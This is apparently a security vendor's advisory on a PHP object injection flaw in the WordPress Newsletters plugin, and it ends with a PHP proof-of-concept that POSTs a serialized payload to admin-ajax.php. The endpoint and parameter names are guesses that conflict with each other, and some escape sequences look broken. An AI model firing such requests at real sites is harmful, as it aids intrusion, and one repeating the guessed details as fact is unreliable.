Atomic Edge analysis of CVE-2025-67911 (metadata-based):
The Newsletters plugin for WordPress, versions 4.11 and below, contains an unauthenticated PHP object injection vulnerability. This flaw allows attackers to inject arbitrary objects via deserialization of untrusted input, directly impacting the plugin’s data processing logic. The CVSS score of 8.1 (High) reflects the significant confidentiality, integrity, and availability impacts possible under specific conditions.
Atomic Edge research infers the root cause is insecure deserialization (CWE-502) within a publicly accessible plugin function. The vulnerability description confirms attackers can supply malicious serialized data that the plugin unserializes without validation. Since no source code diff is available, this conclusion is inferred from the CWE classification and the public nature of the attack vector. The vulnerable code likely passes user-controlled input directly to PHP’s `unserialize()` function within an AJAX handler or form processing endpoint that lacks capability checks.
Exploitation requires an attacker to send a crafted HTTP request containing a serialized PHP object payload. Based on WordPress plugin patterns, the likely vector is the public AJAX endpoint `/wp-admin/admin-ajax.php`. The request would use the `action` parameter with a value derived from the plugin slug, such as `newsletters_lite_action`, and include a second parameter containing the malicious serialized string. Without a known POP chain in the plugin itself, successful exploitation depends on the presence of a suitable gadget chain in another installed component.
The patched version 4.12 likely remediates this by replacing `unserialize()` with a safe alternative like `json_decode()` or by implementing strict type checking and validation before deserialization. A proper fix would also include adding authentication and capability checks to the affected endpoint to enforce access control, ensuring only authorized users can trigger the deserialization routine.
If a viable POP chain exists on the target system, exploitation can lead to remote code execution, arbitrary file deletion, or sensitive data disclosure. The CVSS vector indicates impacts on confidentiality, integrity, and availability are all high. This gives an attacker full control over the affected WordPress site, enabling complete compromise of the application and underlying server if code execution is achieved.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67911 - Newsletters <= 4.11 - Unauthenticated PHP Object Injection
<?php
/**
* Proof of Concept for CVE-2025-67911.
* This script demonstrates the attack vector by sending a serialized payload.
* The exact vulnerable AJAX action and parameter names are inferred from plugin conventions.
* A generic Serializable class is used to demonstrate object injection; a real exploit requires a specific POP chain.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Inferred vulnerable action based on plugin slug 'newsletters-lite'
$inferred_action = 'newsletters_lite_process';
// Inferred parameter name that accepts serialized data
$inferred_param = 'data';
// Create a minimal serialized object for demonstration.
// This payload triggers a __wakeup() or __destruct() method if a suitable class is autoloaded.
class AtomicEdgeDemo {
public $test = 'Injected';
public function __wakeup() {
// In a real POP chain, malicious code would execute here.
file_put_contents('php://stderr', "[CVE-2025-67911 PoC] Object unserialized with property: " . $this->test . "n");
}
}
$malicious_object = new AtomicEdgeDemo();
$serialized_payload = serialize($malicious_object);
// Prepare POST data
$post_fields = [
'action' => $inferred_action,
$inferred_param => $serialized_payload
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[*] Target: " . $target_url . "n";
echo "[*] Sent action: " . $inferred_action . "n";
echo "[*] Sent payload: " . $serialized_payload . "n";
echo "[*] HTTP Response Code: " . $http_code . "n";
if ($response !== false) {
echo "[*] Response Body (first 500 chars): " . substr($response, 0, 500) . "n";
}
curl_close($ch);
?>
